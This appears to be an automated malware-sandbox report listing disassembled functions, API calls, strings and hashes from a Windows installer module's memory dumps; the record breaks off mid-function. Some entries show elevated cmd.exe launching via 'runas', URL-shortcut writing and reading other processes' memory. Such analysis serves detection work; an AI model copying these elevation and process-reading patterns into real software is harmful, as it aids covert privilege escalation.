Function 00D77660 Relevance: 42.4, APIs: 16, Strings: 8, Instructions: 384
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32(00000010,00000104,?,?), ref: 00D7781F
GetForegroundWindow.USER32(?,?), ref: 00D778A4
ShellExecuteExW.SHELL32(?), ref: 00D778C1
ShellExecuteExW.SHELL32(?), ref: 00D778FF
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?), ref: 00D77942
GetProcAddress.KERNEL32(00000000), ref: 00D77949
AllowSetForegroundWindow.USER32(00000000), ref: 00D77953
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?), ref: 00D77973
GetProcAddress.KERNEL32(00000000), ref: 00D7797A
Sleep.KERNEL32(00000064,?,?,?), ref: 00D77997
EnumWindows.USER32(00D77A90,?), ref: 00D779B3
BringWindowToTop.USER32(?), ref: 00D779C2
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00D779DF
GetExitCodeProcess.KERNEL32(?,?), ref: 00D779EC

Part of subcall function 00D77D30: CloseHandle.KERNEL32(?,862265DA,00000010,00000010,?,?), ref: 00D77D72

GetWindowThreadProcessId.USER32(?,?), ref: 00D77A9C
GetWindowLongW.USER32(?,000000F0), ref: 00D77AB4

Strings

/C ""%s" %s", xrefs: 00D77844
GetProcessId, xrefs: 00D77938, 00D77969
.cmd, xrefs: 00D777E0
open, xrefs: 00D77858
.bat, xrefs: 00D777AA
%s\System32\cmd.exe, xrefs: 00D7782C
Kernel32.dll, xrefs: 00D7793D, 00D7796E
runas, xrefs: 00D77874

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Window$Handle$AddressExecuteForegroundModuleProcProcessShellWindows$AllowBringCloseCodeDirectoryEnumExitLongObjectSingleSleepThreadWait
String ID: %s\System32\cmd.exe$.bat$.cmd$/C ""%s" %s"$GetProcessId$Kernel32.dll$open$runas
API String ID: 1023610922-986041216
Opcode ID: 5a3b2eabdcdf229e6efe0f0b09ca9fe4cd8dc52d3be14e3ec793bb18fd61f936
Instruction ID: 12c57786f11184dfca322beecc2d796e333b36cb7a8efdcf83e5192827e96019
Opcode Fuzzy Hash: 5a3b2eabdcdf229e6efe0f0b09ca9fe4cd8dc52d3be14e3ec793bb18fd61f936
Instruction Fuzzy Hash: 89E18F71A04249DFDB10DFA8C889AAEB7B5FF14310F188669E519EB291EB31D905CF70

Function 00D78790 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 349filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00D7880D
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00D78860
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,00000000,00DBA285,000000FF), ref: 00D7886F
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00D7888B
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,00DBA285,000000FF), ref: 00D7896B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000,00DBA285,000000FF), ref: 00D78977
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,00000000,00DBA285,000000FF), ref: 00D789B3
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,00000000,00DBA285,000000FF), ref: 00D789D2
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,00000000,00DBA285,000000FF), ref: 00D789EF
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00DBA285,000000FF), ref: 00D78A83
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000005), ref: 00D78ACE
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000005), ref: 00D78B1C
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000,00DBA285,000000FF), ref: 00D78B4B

Strings

-_.~!*'();:@&=+$,/?#[], xrefs: 00D788E7, 00D788FE
open, xrefs: 00D78AC7, 00D78AE3
URL Shortcut content:, xrefs: 00D78A09
[InternetShortcut]URL=, xrefs: 00D7889F

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ByteCharLocalMultiWide$AllocExecuteFileFreeShell$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$URL Shortcut content:$[InternetShortcut]URL=$open
API String ID: 2199533872-3004881174
Opcode ID: 537d29e61973d19469242fa1df840e1572d5bf01fd90689f80283c3112b63fd3
Instruction ID: 8fc5e2568d457a5ca1b9b93225285a79dcb750b62123429d49c2799e6536e647
Opcode Fuzzy Hash: 537d29e61973d19469242fa1df840e1572d5bf01fd90689f80283c3112b63fd3
Instruction Fuzzy Hash: 85C1F471940245DFEB209F68CC49BAFBBB5EF54700F18812AE5099B2C1FB748905DBB2

Function 00D97769 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00DD4AF8,00000FA0,?,?,00D97747), ref: 00D97775
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00D97747), ref: 00D97780
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00D97747), ref: 00D97791
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00D977A3
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00D977B1
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00D97747), ref: 00D977D4
DeleteCriticalSection.KERNEL32(00DD4AF8,00000007,?,?,00D97747), ref: 00D977F0
CloseHandle.KERNEL32(00000000,?,?,00D97747), ref: 00D97800

Strings

SleepConditionVariableCS, xrefs: 00D9779D
kernel32.dll, xrefs: 00D9778C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00D9777B
WakeAllConditionVariable, xrefs: 00D977A9

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 1262429e27227e95c0759fc6a91188c407d2eec74a5c983ad635bbebe2829c7f
Instruction ID: 7840981c8fb7165d163fa46aa56ecbba607f6a3671345d2001c075cc64c26412
Opcode Fuzzy Hash: 1262429e27227e95c0759fc6a91188c407d2eec74a5c983ad635bbebe2829c7f
Instruction Fuzzy Hash: E5017575795711EFDB212F74AC0DE563769AF45B51F090116F805D7390EBB0C8048675

Function 00D7F010 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 254memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,862265DA,?,00000000), ref: 00D7F076
std::_Lockit::_Lockit.LIBCPMT ref: 00D7F0B3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00D7F11D
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00D7F2B9
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7F376
Concurrency::cancel_current_task.LIBCPMT ref: 00D7F39E

Strings

false, xrefs: 00D7F1D6
bad locale name, xrefs: 00D7F3A3
true, xrefs: 00D7F1EC

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocConcurrency::cancel_current_taskLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 975656625-1062449267
Opcode ID: ba90e45360df8a7609fb9882c9a15bea123267efc00b3fda02c624d05b98c252
Instruction ID: ac0775bff3a1a75c82da179d9d8196ab6859d62f6294fd2cbb9c76f7204f9852
Opcode Fuzzy Hash: ba90e45360df8a7609fb9882c9a15bea123267efc00b3fda02c624d05b98c252
Instruction Fuzzy Hash: 27B182B1D00348DEEB21DFA4C945BDEBBF4EF14304F1481A9E448AB282E7759A48CB71

Function 00D76A60 Relevance: 15.1, APIs: 10, Instructions: 137timeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,862265DA,?,00000000), ref: 00D76AC2
OpenProcess.KERNEL32(00000400,00000000,00000000,?,862265DA,?,00000000), ref: 00D76AE3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,862265DA,?,00000000), ref: 00D76B16
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,862265DA,?,00000000), ref: 00D76B27
CloseHandle.KERNEL32(00000000,?,862265DA,?,00000000), ref: 00D76B45
CloseHandle.KERNEL32(00000000,?,862265DA,?,00000000), ref: 00D76B61
CloseHandle.KERNEL32(00000000,?,862265DA,?,00000000), ref: 00D76B89
CloseHandle.KERNEL32(00000000,?,862265DA,?,00000000), ref: 00D76BA5
CloseHandle.KERNEL32(00000000,?,862265DA,?,00000000), ref: 00D76BC3
CloseHandle.KERNEL32(00000000,?,862265DA,?,00000000), ref: 00D76BDF

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: CloseHandle$Process$OpenTimes
String ID:
API String ID: 1711917922-0
Opcode ID: 431638078960712a2a92ccc601575f7f51ba910b519570f042c211afae199e4f
Instruction ID: 2075fde4c0c93fd0708221892a0c4a0a531aae6234935edfd121fa8386501d9e
Opcode Fuzzy Hash: 431638078960712a2a92ccc601575f7f51ba910b519570f042c211afae199e4f
Instruction Fuzzy Hash: 8A514C70D01618EBDB10DF98C988BEEFBB5AB49724F248219E518B7380E7749905CBB4

Function 00D90834 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D9083B

Part of subcall function 00D8780A: __EH_prolog3.LIBCMT ref: 00D87811
Part of subcall function 00D8780A: std::_Lockit::_Lockit.LIBCPMT ref: 00D8781B
Part of subcall function 00D8780A: std::_Lockit::~_Lockit.LIBCPMT ref: 00D8788C

Strings

:AM:am:PM:pm, xrefs: 00D90BD0
%m / %d / %y, xrefs: 00D90937
%d / %m / %y, xrefs: 00D90B9E
%I : %M : %S %p, xrefs: 00D90BC5
%H : %M, xrefs: 00D90980
%H : %M : %S, xrefs: 00D909F7
%b %d %H : %M : %S %Y, xrefs: 00D90AF3

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$Lockit::_Lockit::~_
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1538362411-2891247106
Opcode ID: ec3c593fdfb286ff9e2a71b9f40e830ed91067ab712e54aa934b74e2ab4a918b
Instruction ID: 9c6901155f38c708b7c40acc800ea31da0b3e1a61ed98d022c41042b11bc72f9
Opcode Fuzzy Hash: ec3c593fdfb286ff9e2a71b9f40e830ed91067ab712e54aa934b74e2ab4a918b
Instruction Fuzzy Hash: 00C1707254020AAFDF18EF98D9A5DFA7FADEB09318F184519FA42E7251D630DA00CB70

Function 00D959E2 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D959E9

Part of subcall function 00D7C590: std::_Lockit::_Lockit.LIBCPMT ref: 00D7C5BD
Part of subcall function 00D7C590: std::_Lockit::_Lockit.LIBCPMT ref: 00D7C5E0
Part of subcall function 00D7C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7C608
Part of subcall function 00D7C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7C6A7

Strings

:AM:am:PM:pm, xrefs: 00D95D7E
%m / %d / %y, xrefs: 00D95AE5
%d / %m / %y, xrefs: 00D95D4C
%I : %M : %S %p, xrefs: 00D95D73
%H : %M, xrefs: 00D95B2E
%H : %M : %S, xrefs: 00D95BA5
%b %d %H : %M : %S %Y, xrefs: 00D95CA1

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 80c3096b1246641050e0026237c9803415fdbd4f81145507e2ddaeea18952fad
Instruction ID: 29bb4728243376cd4ccd96f7e187554da74f72bc94d4abb152b2235875f002d3
Opcode Fuzzy Hash: 80c3096b1246641050e0026237c9803415fdbd4f81145507e2ddaeea18952fad
Instruction Fuzzy Hash: CEC1A576500609AFDF1ADF98E999EFB3BB8EB05304F144529FA42A7259D631DA00CB70

Function 00D90C24 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D90C2B

Part of subcall function 00D7B500: std::_Lockit::_Lockit.LIBCPMT ref: 00D7B52D
Part of subcall function 00D7B500: std::_Lockit::_Lockit.LIBCPMT ref: 00D7B550
Part of subcall function 00D7B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7B578
Part of subcall function 00D7B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7B617

Strings

:AM:am:PM:pm, xrefs: 00D90FC0
%m / %d / %y, xrefs: 00D90D27
%d / %m / %y, xrefs: 00D90F8E
%I : %M : %S %p, xrefs: 00D90FB5
%H : %M, xrefs: 00D90D70
%H : %M : %S, xrefs: 00D90DE7
%b %d %H : %M : %S %Y, xrefs: 00D90EE3

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 6566fe9206c1bbe492efa417b82d520f6416d3054eaf21c1e1d62cdaaef7c3c0
Instruction ID: ba8c12d0d61528c5a1fe20206a8ef9a8e9aae0c421b19a6979c5d20f1295830c
Opcode Fuzzy Hash: 6566fe9206c1bbe492efa417b82d520f6416d3054eaf21c1e1d62cdaaef7c3c0
Instruction Fuzzy Hash: 2EC15D7650010AAFDF28DFA8D995DFF7FA9EF09300F18451AFA46A6251D630DA14CB70

Function 00D765B0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 258libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00D76090: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00D760F4
Part of subcall function 00D76090: GetLastError.KERNEL32 ref: 00D76190

GetProcAddress.KERNEL32(?,NtQueryInformationProcess), ref: 00D76632
ReadProcessMemory.KERNEL32(00000000,?,?,000001D8,00000000,?,?,?,?,00000000), ref: 00D7668B
ReadProcessMemory.KERNEL32(00000000,?,?,00000048,00000000,?,?,?,?,?,?,?,00000000), ref: 00D76712
ReadProcessMemory.KERNEL32(00000000,?,?,?,00000000,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00D767F6
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00D7686E
GetLastError.KERNEL32(?,00000000), ref: 00D768C9
FreeLibrary.KERNEL32(?,?,00000000), ref: 00D7691E

Strings

NtQueryInformationProcess, xrefs: 00D7662C

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: MemoryProcessRead$ErrorFreeLast$AddressDirectoryLibraryLocalProcSystem
String ID: NtQueryInformationProcess
API String ID: 253270903-2781105232
Opcode ID: 3f9d12185af7e02b5d95d4abc29c1e8291cfa18127a54cb7077edb6c12b6e231
Instruction ID: 83d0d0e63580b0007d37b1d87bafa2db9154ccb87b8078f3ae480536c4f0a3e1
Opcode Fuzzy Hash: 3f9d12185af7e02b5d95d4abc29c1e8291cfa18127a54cb7077edb6c12b6e231
Instruction Fuzzy Hash: 60B17F70D10749DADB20CF64C9487AEBBF0EF48308F14465EE449A7690E7B5A6C8CBA1

Function 00D8D491 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D8D498
_Maklocstr.LIBCPMT ref: 00D8D501
_Maklocstr.LIBCPMT ref: 00D8D513
_Maklocchr.LIBCPMT ref: 00D8D52B
_Maklocchr.LIBCPMT ref: 00D8D53B
_Getvals.LIBCPMT ref: 00D8D55D

Part of subcall function 00D8708B: _Maklocchr.LIBCPMT ref: 00D870BA
Part of subcall function 00D8708B: _Maklocchr.LIBCPMT ref: 00D870D0

Strings

false, xrefs: 00D8D4FC
true, xrefs: 00D8D50E

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Maklocchr$Maklocstr$GetvalsH_prolog3_
String ID: false$true
API String ID: 3549167292-2658103896
Opcode ID: 20a7b2ee7f57c57d7d0b8657d10bfe86b1921a87c01123e538fbe72002c9f9b2
Instruction ID: f2463cf216cb4d818793f1c8913c3c98a54c4adc07fb4fee01f0ae5b58096296
Opcode Fuzzy Hash: 20a7b2ee7f57c57d7d0b8657d10bfe86b1921a87c01123e538fbe72002c9f9b2
Instruction Fuzzy Hash: C4216D71D00308AADF14FFA5D886B9E7BA8EF05710F10805AF9199F282EA70D504CBB1

Function 00D7C9C0 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 480COMMON

Download Yara Rule

APIs

Part of subcall function 00D85C66: __EH_prolog3.LIBCMT ref: 00D85C6D
Part of subcall function 00D85C66: std::_Lockit::_Lockit.LIBCPMT ref: 00D85C78
Part of subcall function 00D85C66: std::locale::_Setgloballocale.LIBCPMT ref: 00D85C93
Part of subcall function 00D85C66: std::_Lockit::~_Lockit.LIBCPMT ref: 00D85CE6

std::_Lockit::_Lockit.LIBCPMT ref: 00D7CA1A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00D7CA80
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00D7CB4F

Part of subcall function 00D845A7: __EH_prolog3.LIBCMT ref: 00D845AE

std::_Lockit::~_Lockit.LIBCPMT ref: 00D7CC00
LocalFree.KERNEL32(?,?,?,00DCB6C9,00000000,00DCB6C9), ref: 00D7CD01
__cftoe.LIBCMT ref: 00D7CE5E

Strings

bad locale name, xrefs: 00D7CC41

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$H_prolog3Locinfo::_Lockit::_Lockit::~_$FreeLocalLocinfo_ctorLocinfo_dtorSetgloballocale__cftoestd::locale::_
String ID: bad locale name
API String ID: 2085124900-1405518554
Opcode ID: 90187ab0d76e1251fe56d4916511727d68b20632b5df9c63155d3cc66f17244c
Instruction ID: 0fb0c04bf4667ebaaa121ecdd1af5ae49573e3be0176c05ff926bdd2a674490f
Opcode Fuzzy Hash: 90187ab0d76e1251fe56d4916511727d68b20632b5df9c63155d3cc66f17244c
Instruction Fuzzy Hash: 69128F71D11249DFDF11DFA8C845BAEBBB5EF08304F148169E859AB381E735AA04CBB1

Function 00D9B22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00D9B34B
___TypeMatch.LIBVCRUNTIME ref: 00D9B459
_UnwindNestedFrames.LIBCMT ref: 00D9B5AB
CallUnexpected.LIBVCRUNTIME ref: 00D9B5C6

Strings

csm, xrefs: 00D9B269
csm, xrefs: 00D9B2D6
csm, xrefs: 00D9B382

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 69be702098d262fbab758152961f0e4cefc474c2fd4587d0008e3ec4ff0497a9
Instruction ID: 61c5bd4a7c25b5d072be6f836e4feac199cfe1c6b969e5b2ef6c3543f27f2b67
Opcode Fuzzy Hash: 69be702098d262fbab758152961f0e4cefc474c2fd4587d0008e3ec4ff0497a9
Instruction Fuzzy Hash: 9CB16A71900209EFCF15EFA4EA819AEBBB5FF14324B1A415AE8056B212D731DE51CBB1

Function 00D80260 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 269memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00D80322
LocalAlloc.KERNEL32(00000040,?), ref: 00D80367
___std_exception_copy.LIBVCRUNTIME ref: 00D803DE
LocalFree.KERNEL32(?), ref: 00D8041B
LocalFree.KERNEL32(?,?,?,?,?,862265DA,862265DA,?,?), ref: 00D80546

Strings

iostream, xrefs: 00D805A0
ios_base::failbit set, xrefs: 00D804B2

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Local$AllocFree$___std_exception_copy
String ID: ios_base::failbit set$iostream
API String ID: 2276494016-302468714
Opcode ID: e804431e711cf1c6927980130e729de54aab70c94a64aeb4d2f0aa3f8d681c15
Instruction ID: 4162e3ba8029961d70e158d31d61a9463975d3b82439c250fd5abf29fbf3821e
Opcode Fuzzy Hash: e804431e711cf1c6927980130e729de54aab70c94a64aeb4d2f0aa3f8d681c15
Instruction Fuzzy Hash: 28A180B1D01208DFDB18DF68D885BAEBBB5FB49310F14826DE815AB391DB709944CBB1

Function 00D72BD0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

#224.MSI(?,00000001,00000000,00000000,00000000), ref: 00D72C43
